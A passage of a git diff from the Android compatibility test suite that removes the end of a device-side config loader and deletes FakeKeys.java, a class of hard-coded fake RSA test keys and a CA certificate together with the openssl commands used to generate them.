-import org.xmlpull.v1.XmlPullParserException;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.FileNotFoundException;
-
-/**
- * Load dynamic config for device side test cases
- */
-public class DynamicConfigDeviceSide extends DynamicConfig {
-
- public static final String CONTENT_PROVIDER =
- String.format("%s://android.tradefed.contentprovider", ContentResolver.SCHEME_CONTENT);
-
- public DynamicConfigDeviceSide(String moduleName) throws XmlPullParserException, IOException {
- this(moduleName, new File(CONFIG_FOLDER_ON_DEVICE));
- }
-
- public DynamicConfigDeviceSide(String moduleName, File configFolder)
- throws XmlPullParserException, IOException {
- if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
- throw new IOException("External storage is not mounted");
- }
- // Use the content provider to get the config:
- String uriPath = String.format("%s/%s/%s.dynamic", CONTENT_PROVIDER, configFolder.getAbsolutePath(), moduleName);
- Uri sdcardUri = Uri.parse(uriPath);
- Context appContext = InstrumentationRegistry.getTargetContext();
- try {
- ContentResolver resolver = appContext.getContentResolver();
- ParcelFileDescriptor descriptor = resolver.openFileDescriptor(sdcardUri,"r");
-
- initializeConfig(new ParcelFileDescriptor.AutoCloseInputStream(descriptor));
- return;
- } catch (FileNotFoundException e) {
- // Log the error and use the fallback too
- Log.e("DynamicConfigDeviceSide", "Error while using content provider for config", e);
- }
- // Fallback to the direct search
- File configFile = getConfigFile(configFolder, moduleName);
- initializeConfig(configFile);
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/FakeKeys.java b/common/device-side/util/src/com/android/compatibility/common/util/FakeKeys.java
deleted file mode 100644
index 85e06ea..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/FakeKeys.java
+++ /dev/null
@@ -1,469 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-// Copied from cts/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
-
-public class FakeKeys {
- /*
- * The keys and certificates below are generated with:
- *
- * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
- * openssl req -newkey rsa:1024 -keyout userkey.pem -nodes -days 3650 -out userkey.req
- * mkdir -p demoCA/newcerts
- * touch demoCA/index.txt
- * echo "01" > demoCA/serial
- * openssl ca -out usercert.pem -in userkey.req -cert cacert.pem -keyfile cakey.pem -days 3650
- */
- public static class FAKE_RSA_1 {
- /**
- * Generated from above and converted with:
- *
- * openssl pkcs8 -topk8 -outform d -in userkey.pem -nocrypt | xxd -i | sed 's/0x/(byte) 0x/g'
- */
- public static final byte[] privateKey = {
- (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x78, (byte) 0x02, (byte) 0x01,
- (byte) 0x00, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a,
- (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01,
- (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x04, (byte) 0x82,
- (byte) 0x02, (byte) 0x62, (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x5e,
- (byte) 0x02, (byte) 0x01, (byte) 0x00, (byte) 0x02, (byte) 0x81, (byte) 0x81,
- (byte) 0x00, (byte) 0xce, (byte) 0x29, (byte) 0xeb, (byte) 0xf6, (byte) 0x5b,
- (byte) 0x25, (byte) 0xdc, (byte) 0xa1, (byte) 0xa6, (byte) 0x2c, (byte) 0x66,
- (byte) 0xcb, (byte) 0x20, (byte) 0x90, (byte) 0x27, (byte) 0x86, (byte) 0x8a,
- (byte) 0x44, (byte) 0x71, (byte) 0x50, (byte) 0xda, (byte) 0xd3, (byte) 0x02,
- (byte) 0x77, (byte) 0x55, (byte) 0xe9, (byte) 0xe8, (byte) 0x08, (byte) 0xf3,
- (byte) 0x36, (byte) 0x9a, (byte) 0xae, (byte) 0xab, (byte) 0x04, (byte) 0x6d,
- (byte) 0x00, (byte) 0x99, (byte) 0xbf, (byte) 0x7d, (byte) 0x0f, (byte) 0x67,
- (byte) 0x8b, (byte) 0x1d, (byte) 0xd4, (byte) 0x2b, (byte) 0x7c, (byte) 0xcb,
- (byte) 0xcd, (byte) 0x33, (byte) 0xc7, (byte) 0x84, (byte) 0x30, (byte) 0xe2,
- (byte) 0x45, (byte) 0x21, (byte) 0xb3, (byte) 0x75, (byte) 0xf5, (byte) 0x79,
- (byte) 0x02, (byte) 0xda, (byte) 0x50, (byte) 0xa3, (byte) 0x8b, (byte) 0xce,
- (byte) 0xc3, (byte) 0x8e, (byte) 0x0f, (byte) 0x25, (byte) 0xeb, (byte) 0x08,
- (byte) 0x2c, (byte) 0xdd, (byte) 0x1c, (byte) 0xcf, (byte) 0xff, (byte) 0x3b,
- (byte) 0xde, (byte) 0xb6, (byte) 0xaa, (byte) 0x2a, (byte) 0xa9, (byte) 0xc4,
- (byte) 0x8a, (byte) 0x24, (byte) 0x24, (byte) 0xe6, (byte) 0x29, (byte) 0x0d,
- (byte) 0x98, (byte) 0x4c, (byte) 0x32, (byte) 0xa1, (byte) 0x7b, (byte) 0x23,
- (byte) 0x2b, (byte) 0x42, (byte) 0x30, (byte) 0xee, (byte) 0x78, (byte) 0x08,
- (byte) 0x47, (byte) 0xad, (byte) 0xf2, (byte) 0x96, (byte) 0xd5, (byte) 0xf1,
- (byte) 0x62, (byte) 0x42, (byte) 0x2d, (byte) 0x35, (byte) 0x19, (byte) 0xb4,
- (byte) 0x3c, (byte) 0xc9, (byte) 0xc3, (byte) 0x5f, (byte) 0x03, (byte) 0x16,
- (byte) 0x3a, (byte) 0x23, (byte) 0xac, (byte) 0xcb, (byte) 0xce, (byte) 0x9e,
- (byte) 0x51, (byte) 0x2e, (byte) 0x6d, (byte) 0x02, (byte) 0x03, (byte) 0x01,
- (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x81, (byte) 0x80, (byte) 0x16,
- (byte) 0x59, (byte) 0xc3, (byte) 0x24, (byte) 0x1d, (byte) 0x33, (byte) 0x98,
- (byte) 0x9c, (byte) 0xc9, (byte) 0xc8, (byte) 0x2c, (byte) 0x88, (byte) 0xbf,
- (byte) 0x0a, (byte) 0x01, (byte) 0xce, (byte) 0xfb, (byte) 0x34, (byte) 0x7a,
- (byte) 0x58, (byte) 0x7a, (byte) 0xb0, (byte) 0xbf, (byte) 0xa6, (byte) 0xb2,
- (byte) 0x60, (byte) 0xbe, (byte) 0x70, (byte) 0x21, (byte) 0xf5, (byte) 0xfc,
- (byte) 0x85, (byte) 0x0d, (byte) 0x33, (byte) 0x58, (byte) 0xa1, (byte) 0xe5,
- (byte) 0x09, (byte) 0x36, (byte) 0x84, (byte) 0xb2, (byte) 0x04, (byte) 0x0a,
- (byte) 0x02, (byte) 0xd3, (byte) 0x88, (byte) 0x1f, (byte) 0x0c, (byte) 0x2b,
- (byte) 0x1d, (byte) 0xe9, (byte) 0x3d, (byte) 0xe7, (byte) 0x79, (byte) 0xf9,
- (byte) 0x32, (byte) 0x5c, (byte) 0x8a, (byte) 0x75, (byte) 0x49, (byte) 0x12,
- (byte) 0xe4, (byte) 0x05, (byte) 0x26, (byte) 0xd4, (byte) 0x2e, (byte) 0x9e,
- (byte) 0x1f, (byte) 0xcc, (byte) 0x54, (byte) 0xad, (byte) 0x33, (byte) 0x8d,
- (byte) 0x99, (byte) 0x00, (byte) 0xdc, (byte) 0xf5, (byte) 0xb4, (byte) 0xa2,
- (byte) 0x2f, (byte) 0xba, (byte) 0xe5, (byte) 0x62, (byte) 0x30, (byte) 0x6d,
- (byte) 0xe6, (byte) 0x3d, (byte) 0xeb, (byte) 0x24, (byte) 0xc2, (byte) 0xdc,
- (byte) 0x5f, (byte) 0xb7, (byte) 0x16, (byte) 0x35, (byte) 0xa3, (byte) 0x98,
- (byte) 0x98, (byte) 0xa8, (byte) 0xef, (byte) 0xe8, (byte) 0xc4, (byte) 0x96,
- (byte) 0x6d, (byte) 0x38, (byte) 0xab, (byte) 0x26, (byte) 0x6d, (byte) 0x30,
- (byte) 0xc2, (byte) 0xa0, (byte) 0x44, (byte) 0xe4, (byte) 0xff, (byte) 0x7e,
- (byte) 0xbe, (byte) 0x7c, (byte) 0x33, (byte) 0xa5, (byte) 0x10, (byte) 0xad,
- (byte) 0xd7, (byte) 0x1e, (byte) 0x13, (byte) 0x20, (byte) 0xb3, (byte) 0x1f,
- (byte) 0x41, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xf1, (byte) 0x89,
- (byte) 0x07, (byte) 0x0f, (byte) 0xe8, (byte) 0xcf, (byte) 0xab, (byte) 0x13,
- (byte) 0x2a, (byte) 0x8f, (byte) 0x88, (byte) 0x80, (byte) 0x11, (byte) 0x9a,
- (byte) 0x79, (byte) 0xb6, (byte) 0x59, (byte) 0x3a, (byte) 0x50, (byte) 0x6e,
- (byte) 0x57, (byte) 0x37, (byte) 0xab, (byte) 0x2a, (byte) 0xd2, (byte) 0xaa,
- (byte) 0xd9, (byte) 0x72, (byte) 0x73, (byte) 0xff, (byte) 0x8b, (byte) 0x47,
- (byte) 0x76, (byte) 0xdd, (byte) 0xdc, (byte) 0xf5, (byte) 0x97, (byte) 0x44,
- (byte) 0x3a, (byte) 0x78, (byte) 0xbe, (byte) 0x17, (byte) 0xb4, (byte) 0x22,
- (byte) 0x6f, (byte) 0xe5, (byte) 0x23, (byte) 0x70, (byte) 0x1d, (byte) 0x10,
- (byte) 0x5d, (byte) 0xba, (byte) 0x16, (byte) 0x81, (byte) 0xf1, (byte) 0x45,
- (byte) 0xce, (byte) 0x30, (byte) 0xb4, (byte) 0xab, (byte) 0x80, (byte) 0xe4,
- (byte) 0x98, (byte) 0x31, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xda,
- (byte) 0x82, (byte) 0x9d, (byte) 0x3f, (byte) 0xca, (byte) 0x2f, (byte) 0xe1,
- (byte) 0xd4, (byte) 0x86, (byte) 0x77, (byte) 0x48, (byte) 0xa6, (byte) 0xab,
- (byte) 0xab, (byte) 0x1c, (byte) 0x42, (byte) 0x5c, (byte) 0xd5, (byte) 0xc7,
- (byte) 0x46, (byte) 0x59, (byte) 0x91, (byte) 0x3f, (byte) 0xfc, (byte) 0xcc,
- (byte) 0xec, (byte) 0xc2, (byte) 0x40, (byte) 0x12, (byte) 0x2c, (byte) 0x8d,
- (byte) 0x1f, (byte) 0xa2, (byte) 0x18, (byte) 0x88, (byte) 0xee, (byte) 0x82,
- (byte) 0x4a, (byte) 0x5a, (byte) 0x5e, (byte) 0x88, (byte) 0x20, (byte) 0xe3,
- (byte) 0x7b, (byte) 0xe0, (byte) 0xd8, (byte) 0x3a, (byte) 0x52, (byte) 0x9a,
- (byte) 0x26, (byte) 0x6a, (byte) 0x04, (byte) 0xec, (byte) 0xe8, (byte) 0xb9,
- (byte) 0x48, (byte) 0x40, (byte) 0xe1, (byte) 0xe1, (byte) 0x83, (byte) 0xa6,
- (byte) 0x67, (byte) 0xa6, (byte) 0xfd, (byte) 0x02, (byte) 0x41, (byte) 0x00,
- (byte) 0x89, (byte) 0x72, (byte) 0x3e, (byte) 0xb0, (byte) 0x90, (byte) 0xfd,
- (byte) 0x4c, (byte) 0x0e, (byte) 0xd6, (byte) 0x13, (byte) 0x63, (byte) 0xcb,
- (byte) 0xed, (byte) 0x38, (byte) 0x88, (byte) 0xb6, (byte) 0x79, (byte) 0xc4,
- (byte) 0x33, (byte) 0x6c, (byte) 0xf6, (byte) 0xf8, (byte) 0xd8, (byte) 0xd0,
- (byte) 0xbf, (byte) 0x9d, (byte) 0x35, (byte) 0xac, (byte) 0x69, (byte) 0xd2,
- (byte) 0x2b, (byte) 0xc1, (byte) 0xf9, (byte) 0x24, (byte) 0x7b, (byte) 0xce,
- (byte) 0xcd, (byte) 0xcb, (byte) 0xa7, (byte) 0xb2, (byte) 0x7a, (byte) 0x0a,
- (byte) 0x27, (byte) 0x19, (byte) 0xc9, (byte) 0xaf, (byte) 0x0d, (byte) 0x21,
- (byte) 0x89, (byte) 0x88, (byte) 0x7c, (byte) 0xad, (byte) 0x9e, (byte) 0x8d,
- (byte) 0x47, (byte) 0x6d, (byte) 0x3f, (byte) 0xce, (byte) 0x7b, (byte) 0xa1,
- (byte) 0x74, (byte) 0xf1, (byte) 0xa0, (byte) 0xa1, (byte) 0x02, (byte) 0x41,
- (byte) 0x00, (byte) 0xd9, (byte) 0xa8, (byte) 0xf5, (byte) 0xfe, (byte) 0xce,
- (byte) 0xe6, (byte) 0x77, (byte) 0x6b, (byte) 0xfe, (byte) 0x2d, (byte) 0xe0,
- (byte) 0x1e, (byte) 0xb6, (byte) 0x2e, (byte) 0x12, (byte) 0x4e, (byte) 0x40,
- (byte) 0xaf, (byte) 0x6a, (byte) 0x7b, (byte) 0x37, (byte) 0x49, (byte) 0x2a,
- (byte) 0x96, (byte) 0x25, (byte) 0x83, (byte) 0x49, (byte) 0xd4, (byte) 0x0c,
- (byte) 0xc6, (byte) 0x78, (byte) 0x25, (byte) 0x24, (byte) 0x90, (byte) 0x90,
- (byte) 0x06, (byte) 0x15, (byte) 0x9e, (byte) 0xfe, (byte) 0xf9, (byte) 0xdf,
- (byte) 0x5b, (byte) 0xf3, (byte) 0x7e, (byte) 0x38, (byte) 0x70, (byte) 0xeb,
- (byte) 0x57, (byte) 0xd0, (byte) 0xd9, (byte) 0xa7, (byte) 0x0e, (byte) 0x14,
- (byte) 0xf7, (byte) 0x95, (byte) 0x68, (byte) 0xd5, (byte) 0xc8, (byte) 0xab,
- (byte) 0x9d, (byte) 0x3a, (byte) 0x2b, (byte) 0x51, (byte) 0xf9, (byte) 0x02,
- (byte) 0x41, (byte) 0x00, (byte) 0x96, (byte) 0xdf, (byte) 0xe9, (byte) 0x67,
- (byte) 0x6c, (byte) 0xdc, (byte) 0x90, (byte) 0x14, (byte) 0xb4, (byte) 0x1d,
- (byte) 0x22, (byte) 0x33, (byte) 0x4a, (byte) 0x31, (byte) 0xc1, (byte) 0x9d,
- (byte) 0x2e, (byte) 0xff, (byte) 0x9a, (byte) 0x2a, (byte) 0x95, (byte) 0x4b,
- (byte) 0x27, (byte) 0x74, (byte) 0xcb, (byte) 0x21, (byte) 0xc3, (byte) 0xd2,
- (byte) 0x0b, (byte) 0xb2, (byte) 0x46, (byte) 0x87, (byte) 0xf8, (byte) 0x28,
- (byte) 0x01, (byte) 0x8b, (byte) 0xd8, (byte) 0xb9, (byte) 0x4b, (byte) 0xcd,
- (byte) 0x9a, (byte) 0x96, (byte) 0x41, (byte) 0x0e, (byte) 0x36, (byte) 0x6d,
- (byte) 0x40, (byte) 0x42, (byte) 0xbc, (byte) 0xd9, (byte) 0xd3, (byte) 0x7b,
- (byte) 0xbc, (byte) 0xa7, (byte) 0x92, (byte) 0x90, (byte) 0xdd, (byte) 0xa1,
- (byte) 0x9c, (byte) 0xce, (byte) 0xa1, (byte) 0x87, (byte) 0x11, (byte) 0x51
- };
-
- /**
- * Generated from above and converted with:
- *
- * openssl x509 -outform d -in cacert.pem | xxd -i | sed 's/0x/(byte) 0x/g'
- */
- public static final byte[] caCertificate = {
- (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0xce, (byte) 0x30, (byte) 0x82,
- (byte) 0x02, (byte) 0x37, (byte) 0xa0, (byte) 0x03, (byte) 0x02, (byte) 0x01,
- (byte) 0x02, (byte) 0x02, (byte) 0x09, (byte) 0x00, (byte) 0xe1, (byte) 0x6a,
- (byte) 0xa2, (byte) 0xf4, (byte) 0x2e, (byte) 0x55, (byte) 0x48, (byte) 0x0a,
- (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86,
- (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01,
- (byte) 0x05, (byte) 0x05, (byte) 0x00, (byte) 0x30, (byte) 0x4f, (byte) 0x31,
- (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
- (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53,
- (byte) 0x31, (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03,
- (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43,
- (byte) 0x41, (byte) 0x31, (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06,
- (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d,
- (byte) 0x4d, (byte) 0x6f, (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61,
- (byte) 0x69, (byte) 0x6e, (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65,
- (byte) 0x77, (byte) 0x31, (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06,
- (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12,
- (byte) 0x41, (byte) 0x6e, (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69,
- (byte) 0x64, (byte) 0x20, (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74,
- (byte) 0x20, (byte) 0x43, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73,
- (byte) 0x30, (byte) 0x1e, (byte) 0x17, (byte) 0x0d, (byte) 0x31, (byte) 0x32,
- (byte) 0x30, (byte) 0x38, (byte) 0x31, (byte) 0x34, (byte) 0x31, (byte) 0x36,
- (byte) 0x35, (byte) 0x35, (byte) 0x34, (byte) 0x34, (byte) 0x5a, (byte) 0x17,
- (byte) 0x0d, (byte) 0x32, (byte) 0x32, (byte) 0x30, (byte) 0x38, (byte) 0x31,
- (byte) 0x32, (byte) 0x31, (byte) 0x36, (byte) 0x35, (byte) 0x35, (byte) 0x34,
- (byte) 0x34, (byte) 0x5a, (byte) 0x30, (byte) 0x4f, (byte) 0x31, (byte) 0x0b,
- (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
- (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53, (byte) 0x31,
- (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
- (byte) 0x04, (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43, (byte) 0x41,
- (byte) 0x31, (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06, (byte) 0x03,
- (byte) 0x55, (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d, (byte) 0x4d,
- (byte) 0x6f, (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61, (byte) 0x69,
- (byte) 0x6e, (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65, (byte) 0x77,
- (byte) 0x31, (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06, (byte) 0x03,
- (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12, (byte) 0x41,
- (byte) 0x6e, (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69, (byte) 0x64,
- (byte) 0x20, (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x20,
- (byte) 0x43, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73, (byte) 0x30,
- (byte) 0x81, (byte) 0x9f, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09,
- (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d,
- (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x03,
- (byte) 0x81, (byte) 0x8d, (byte) 0x00, (byte) 0x30, (byte) 0x81, (byte) 0x89,
- (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xa3, (byte) 0x72,
- (byte) 0xab, (byte) 0xd0, (byte) 0xe4, (byte) 0xad, (byte) 0x2f, (byte) 0xe7,
- (byte) 0xe2, (byte) 0x79, (byte) 0x07, (byte) 0x36, (byte) 0x3d, (byte) 0x0c,
- (byte) 0x8d, (byte) 0x42, (byte) 0x9a, (byte) 0x0a, (byte) 0x33, (byte) 0x64,
- (byte) 0xb3, (byte) 0xcd, (byte) 0xb2, (byte) 0xd7, (byte) 0x3a, (byte) 0x42,
- (byte) 0x06, (byte) 0x77, (byte) 0x45, (byte) 0x29, (byte) 0xe9, (byte) 0xcb,
- (byte) 0xb7, (byte) 0x4a, (byte) 0xd6, (byte) 0xee, (byte) 0xad, (byte) 0x01,
- (byte) 0x91, (byte) 0x9b, (byte) 0x0c, (byte) 0x59, (byte) 0xa1, (byte) 0x03,
- (byte) 0xfa, (byte) 0xf0, (byte) 0x5a, (byte) 0x7c, (byte) 0x4f, (byte) 0xf7,
- (byte) 0x8d, (byte) 0x36, (byte) 0x0f, (byte) 0x1f, (byte) 0x45, (byte) 0x7d,
- (byte) 0x1b, (byte) 0x31, (byte) 0xa1, (byte) 0x35, (byte) 0x0b, (byte) 0x00,
- (byte) 0xed, (byte) 0x7a, (byte) 0xb6, (byte) 0xc8, (byte) 0x4e, (byte) 0xa9,
- (byte) 0x86, (byte) 0x4c, (byte) 0x7b, (byte) 0x99, (byte) 0x57, (byte) 0x41,
- (byte) 0x12, (byte) 0xef, (byte) 0x6b, (byte) 0xbc, (byte) 0x3d, (byte) 0x60,
- (byte) 0xf2, (byte) 0x99, (byte) 0x1a, (byte) 0xcd, (byte) 0xed, (byte) 0x56,
- (byte) 0xa4, (byte) 0xe5, (byte) 0x36, (byte) 0x9f, (byte) 0x24, (byte) 0x1f,
- (byte) 0xdc, (byte) 0x89, (byte) 0x40, (byte) 0xc8, (byte) 0x99, (byte) 0x92,
- (byte) 0xab, (byte) 0x4a, (byte) 0xb5, (byte) 0x61, (byte) 0x45, (byte) 0x62,
- (byte) 0xff, (byte) 0xa3, (byte) 0x45, (byte) 0x65, (byte) 0xaf, (byte) 0xf6,
- (byte) 0x27, (byte) 0x30, (byte) 0x51, (byte) 0x0e, (byte) 0x0e, (byte) 0xeb,
- (byte) 0x79, (byte) 0x0c, (byte) 0xbe, (byte) 0xb3, (byte) 0x0a, (byte) 0x6f,
- (byte) 0x29, (byte) 0x06, (byte) 0xdc, (byte) 0x2f, (byte) 0x6b, (byte) 0x51,
- (byte) 0x02, (byte) 0x03, (byte) 0x01, (byte) 0x00, (byte) 0x01, (byte) 0xa3,
- (byte) 0x81, (byte) 0xb1, (byte) 0x30, (byte) 0x81, (byte) 0xae, (byte) 0x30,
- (byte) 0x1d, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x0e,
- (byte) 0x04, (byte) 0x16, (byte) 0x04, (byte) 0x14, (byte) 0x33, (byte) 0x05,
- (byte) 0xee, (byte) 0xfe, (byte) 0x6f, (byte) 0x60, (byte) 0xc7, (byte) 0xf9,
- (byte) 0xa9, (byte) 0xd2, (byte) 0x73, (byte) 0x5c, (byte) 0x8f, (byte) 0x6d,
- (byte) 0xa2, (byte) 0x2f, (byte) 0x97, (byte) 0x8e, (byte) 0x5d, (byte) 0x51,
- (byte) 0x30, (byte) 0x7f, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d,
- (byte) 0x23, (byte) 0x04, (byte) 0x78, (byte) 0x30, (byte) 0x76, (byte) 0x80,
- (byte) 0x14, (byte) 0x33, (byte) 0x05, (byte) 0xee, (byte) 0xfe, (byte) 0x6f,
- (byte) 0x60, (byte) 0xc7, (byte) 0xf9, (byte) 0xa9, (byte) 0xd2, (byte) 0x73,
- (byte) 0x5c, (byte) 0x8f, (byte) 0x6d, (byte) 0xa2, (byte) 0x2f, (byte) 0x97,
- (byte) 0x8e, (byte) 0x5d, (byte) 0x51, (byte) 0xa1, (byte) 0x53, (byte) 0xa4,
- (byte) 0x51, (byte) 0x30, (byte) 0x4f, (byte) 0x31, (byte) 0x0b, (byte) 0x30,
- (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x06,
- (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53, (byte) 0x31, (byte) 0x0b,
- (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
- (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43, (byte) 0x41, (byte) 0x31,
- (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06, (byte) 0x03, (byte) 0x55,
- (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d, (byte) 0x4d, (byte) 0x6f,
- (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61, (byte) 0x69, (byte) 0x6e,
- (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65, (byte) 0x77, (byte) 0x31,
- (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06, (byte) 0x03, (byte) 0x55,
- (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12, (byte) 0x41, (byte) 0x6e,
- (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69, (byte) 0x64, (byte) 0x20,
- (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x20, (byte) 0x43,
- (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73, (byte) 0x82, (byte) 0x09,
- (byte) 0x00, (byte) 0xe1, (byte) 0x6a, (byte) 0xa2, (byte) 0xf4, (byte) 0x2e,
- (byte) 0x55, (byte) 0x48, (byte) 0x0a, (byte) 0x30, (byte) 0x0c, (byte) 0x06,
- (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x13, (byte) 0x04, (byte) 0x05,
- (byte) 0x30, (byte) 0x03, (byte) 0x01, (byte) 0x01, (byte) 0xff, (byte) 0x30,
- (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48,
- (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x05,
- (byte) 0x05, (byte) 0x00, (byte) 0x03, (byte) 0x81, (byte) 0x81, (byte) 0x00,
- (byte) 0x8c, (byte) 0x30, (byte) 0x42, (byte) 0xfa, (byte) 0xeb, (byte) 0x1a,
- (byte) 0x26, (byte) 0xeb, (byte) 0xda, (byte) 0x56, (byte) 0x32, (byte) 0xf2,
- (byte) 0x9d, (byte) 0xa5, (byte) 0x24, (byte) 0xd8, (byte) 0x3a, (byte) 0xda,
- (byte) 0x30, (byte) 0xa6, (byte) 0x8b, (byte) 0x46, (byte) 0xfe, (byte) 0xfe,
- (byte) 0xdb, (byte) 0xf1, (byte) 0xe6, (byte) 0xe1, (byte) 0x7c, (byte) 0x1b,
- (byte) 0xe7, (byte) 0x77, (byte) 0x00, (byte) 0xa1, (byte) 0x1c, (byte) 0x19,
- (byte) 0x17, (byte) 0x73, (byte) 0xb0, (byte) 0xf0, (byte) 0x9d, (byte) 0xf3,
- (byte) 0x4f, (byte) 0xb6, (byte) 0xbc, (byte) 0xc7, (byte) 0x47, (byte) 0x85,
- (byte) 0x2a, (byte) 0x4a, (byte) 0xa1, (byte) 0xa5, (byte) 0x58, (byte) 0xf5,
- (byte) 0xc5, (byte) 0x1a, (byte) 0x51, (byte) 0xb1, (byte) 0x04, (byte) 0x80,
- (byte) 0xee, (byte) 0x3a, (byte) 0xec, (byte) 0x2f, (byte) 0xe1, (byte) 0xfd,
- (byte) 0x58, (byte) 0xeb, (byte) 0xed, (byte) 0x82, (byte) 0x9e, (byte) 0x38,
- (byte) 0xa3, (byte) 0x24, (byte) 0x75, (byte) 0xf7, (byte) 0x3e, (byte) 0xc2,
- (byte) 0xc5, (byte) 0x27, (byte) 0xeb, (byte) 0x6f, (byte) 0x7b, (byte) 0x50,
- (byte) 0xda, (byte) 0x43, (byte) 0xdc, (byte) 0x3b, (byte) 0x0b, (byte) 0x6f,
- (byte) 0x78, (byte) 0x8f, (byte) 0xb0, (byte) 0x66, (byte) 0xe1, (byte) 0x12,
- (byte) 0x87, (byte) 0x5f, (byte) 0x97, (byte) 0x7b, (byte) 0xca, (byte) 0x14,
- (byte) 0x79, (byte) 0xf7, (byte) 0xe8, (byte) 0x6c, (byte) 0x72, (byte) 0xdb,
- (byte) 0x91, (byte) 0x65, (byte) 0x17, (byte) 0x54, (byte) 0xe0, (byte) 0x74,
- (byte) 0x1d, (byte) 0xac, (byte) 0x47, (byte) 0x04, (byte) 0x12, (byte) 0xe0,
- (byte) 0xc3, (byte) 0x66, (byte) 0x19, (byte) 0x05, (byte) 0x2e, (byte) 0x7e,
- (byte) 0xf1, (byte) 0x61
- };
- }
-
- /*
- * The keys and certificates below are generated with:
- *
- * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
- * openssl dsaparam -out dsaparam.pem 1024
